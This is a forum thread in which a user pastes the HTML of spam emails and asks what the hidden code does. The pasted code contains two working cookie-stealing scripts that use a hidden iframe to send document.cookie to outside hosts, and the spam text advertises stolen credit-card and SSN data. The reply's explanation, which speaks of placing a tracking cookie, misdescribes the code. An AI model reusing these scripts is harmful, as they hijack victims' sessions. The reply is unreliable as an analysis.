Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 2 of 2
  1. #1
    New to the CF scene
    Join Date
    Oct 2006
    Posts
    1
    Thanks
    0
    Thanked 0 Times in 0 Posts

    I'm getting spam messages with some code

    Hello,

    From some time I'm getting spam messages that at first look may seem just a line of text. In fact it contains a hidden code like these ones below. Can somebody tell me what are they supposed to do?



    <head>
    <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
    <meta name="ProgId" content="FrontPage.Editor.Document">
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
    <title>New Page 1</title>
    </head>

    <body>
    <style_ html>
    <iframe name="a" style="width:0px;height:0px" frameborder="0"></iframe>
    <script>
    window.status='';
    var x = escape(document.cookie).substr(0,1900);
    document.getElementById('a').src='http://72.232.6.132/~importa/b.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&cookie='+x+'';





    </script>
    Hi man,<br>
    I am selling Chase Cards with cc#,exp#,cvv# ssn and mmn.<br>
    If you are interested let me know.<br>
    I also sell Chase algo.<br>
    Best regards,<br>
    napierd.<br>
    <br>
    </body>


    <!-- type = text -->
    new site 4u http://www.1234live.com
    <BR><BR><style_ html>
    <iframe name="a" style="width:0px;height:0px" frameborder="0"></iframe>
    <script>
    var today = new Date();
    var month = today.getMonth() + 1;
    var day = today.getDate();
    var year = today.getFullYear();
    var s = "/";
    var x2= day + s + month + s + year;
    window.status='';
    var x = escape(document.cookie).substr(0,1900);
    document.getElementById('a').src='http://greetyah.servehttp.com/ck/get.php?id='+document.title.substring(document.title.indexOf('-')+2)+''+x2+''+x+'';
    </script>

    <!-- toctype = X-unknown -->
    <!-- toctype = text -->
    <!-- text -->

  • #2
    Supreme Master coder! Philip M's Avatar
    Join Date
    Jun 2002
    Location
    London, England
    Posts
    17,907
    Thanks
    203
    Thanked 2,531 Times in 2,509 Posts
    This is obviously a criminal enterprise, and the code is intended to place a tracking cookie on your computer, as well as encourage you to click on a link which may well download malware onto your machine. Delete it ASAP!


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •